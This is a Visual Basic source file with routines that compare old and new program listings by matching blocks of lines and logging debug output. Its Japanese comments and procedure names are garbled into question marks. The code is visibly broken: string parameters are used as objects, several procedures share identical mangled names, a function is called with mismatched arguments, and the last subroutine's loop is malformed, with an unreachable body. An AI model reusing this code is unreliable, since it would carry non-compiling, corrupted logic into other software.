'      < ???? >
'        ???????,??????????
'      ?????????idx End ???????????????????????
'        ?????????????????(????)? index ??
'        ???????????????????idx End ????
'      ?????????idx Begin ???? ??????????????????
'        ?????????????????(????)? index ??
'        ???????????????????idx Begin ????
'*******************************************************************************
Private Sub sb??????idx??(oOld As String, oNew As String)

  Dim nidx  As Long
  Dim nEnd  As Long
                                       '??????idx End   ??
  nEnd = oOld.oPrp.nSocMaxidx
  nidx = oOld.oidx.nCmpEnd
  oNew.oidx.nLimEnd = oNew.oPrp.nSocMaxidx

  Do While (nidx <= nEnd)
    If oOld.oSoc(nidx).bMatch = True Then
      oNew.oidx.nLimEnd = oOld.oSoc(nidx).nOpidx - 1
      Exit Do
    End If
    nidx = nidx + 1
  Loop
                                       '??????idx Begin ??
  nEnd = 0
  nidx = oOld.oidx.nCmpBegin
  oNew.oidx.nLimBegin = 0

  Do While (nidx >= nEnd)
    If oOld.oSoc(nidx).bMatch = True Then
      oNew.oidx.nLimBegin = oOld.oSoc(nidx).nOpidx + 1
      Exit Do
    End If
    nidx = nidx - 1
  Loop

End Sub

'*******************************************************************************
'        ??????
'*******************************************************************************
'      < ???? >
'        ????????????index Begin~End ?????????
'        ???????????????????? 0 ????
'        ????????                         1 ????
'*******************************************************************************
Private Function fn??????(oNew As String, oOld As String) As Long

  Dim nNewidx  As Long
  Dim nOldidx  As Long

  nNewidx = oNew.oidx.nCmpBegin
  nOldidx = oOld.oidx.nCmpBegin

  Do While (nNewidx <= oNew.oidx.nCmpEnd)
    If oNew.oSoc(nNewidx).sSourc <> oOld.oSoc(nOldidx).sSourc Then
      fn?????? = 1
      Exit Function
    End If
    nNewidx = nNewidx + 1
    nOldidx = nOldidx + 1
  Loop

  fn?????? = 0

End Function

'*******************************************************************************
'        ??????
'*******************************************************************************
'      < ???? >
'        ?????????????????????????? True, ??idx ?
'        ????,???????????????? index ??????
'*******************************************************************************
Private Sub sb??????(oNew As String, oOld As String)

  Dim nNewidx  As Long
  Dim nOldidx  As Long

  nNewidx = oNew.oidx.nCmpBegin
  nOldidx = oOld.oidx.nCmpBegin

  Do While (nNewidx <= oNew.oidx.nCmpEnd)
    oNew.oSoc(nNewidx).bMatch = True
    oNew.oSoc(nNewidx).nOpidx = nOldidx
    oOld.oSoc(nOldidx).bMatch = True
    oOld.oSoc(nOldidx).nOpidx = nNewidx

    nNewidx = nNewidx + 1
    nOldidx = nOldidx + 1
  Loop

End Sub

'*******************************************************************************
'        ???Debug ??
'*******************************************************************************
Private Sub sb???Debug(nBlock As Long, oNew As String, oOld As String)

  g_oTStrm.WriteLine "########### ????? ###########"
  g_oTStrm.WriteLine "  ???????        : " & nBlock
  g_oTStrm.WriteLine "    ????   CmpBegin : " & oNew.oidx.nCmpBegin
  g_oTStrm.WriteLine "               CmpEnd   : " & oNew.oidx.nCmpEnd
  g_oTStrm.WriteLine " "
  g_oTStrm.WriteLine "    ????   CmpBegin : " & oOld.oidx.nCmpBegin
  g_oTStrm.WriteLine "               CmpEnd   : " & oOld.oidx.nCmpEnd

End Sub

'*******************************************************************************
'        ???Debug ??
'*******************************************************************************
Private Sub sb???Debug(oNew As String, oOld As String)

  Dim nidx  As Long

  g_oTStrm.WriteLine " "
  g_oTStrm.WriteLine " "
  g_oTStrm.WriteLine "####### New Source ############################################################"
  For nidx = 0 To oNew.oPrp.nSocMaxidx
    With oNew.oSoc(nidx)
      g_oTStrm.WriteLine .sSeqno & " " & .sSourc & " " & Space(75 - Len(.sSourc)) & .bMatch
    End With
  Next

  g_oTStrm.WriteLine " "
  g_oTStrm.WriteLine " "
  g_oTStrm.WriteLine "####### Old Source ############################################################"
  For nidx = 0 To oOld.oPrp.nSocMaxidx
    With oOld.oSoc(nidx)
      g_oTStrm.WriteLine .sSeqno & " " & .sSourc & " " & Space(75 - Len(.sSourc)) & .bMatch
    End With
  Next

End Sub

'*******************************************************************************
'        ????????
'*******************************************************************************
Private Sub sb??????(oNew As String, oOld As String)

  Dim nNewidx  As Long
  Dim nOldidx  As Long
  Dim nidx     As Long

  oOld.oidx.nLimBegin = 0                        'Old??idx ??
  oOld.oidx.nLimEnd = oOld.oPrp.nSocMaxidx
  oNew.oidx.nLimBegin = 0                        'New??idx ??
  oNew.oidx.nLimEnd = oNew.oPrp.nSocMaxidx

  nNewidx = 0
  nOldidx = 0
  Do While (nNewidx <= oNew.oidx.nLimEnd)

    oNew.oidx.nCmpBegin = fn??????(oNew, nNewidx)
    nidx = oNew.oidx.nCmpBegin
    oOld.oidx.nCmpBegin = oOld.oSoc(nidx).nOpidx

    For nidx = nOldidx To oOld.oidx.nCmpBegin - 1
      '????? Old??? ??
    Next

    For nidx = nNewidx To oNew.oidx.nCmpBegin - 1
      '????? New??? ??
    Next

    nNewidx = oNew.oidx.nCmpBegin
    Do While (nidx <= oNew.oidx.nLimEnd And               oNew.oSoc(nidx).bMatch = False)
        Exit Do
      End
      '??? Old ??? ??

      nNewidx = nNewidx + 1
    Loop

  Loop

End Sub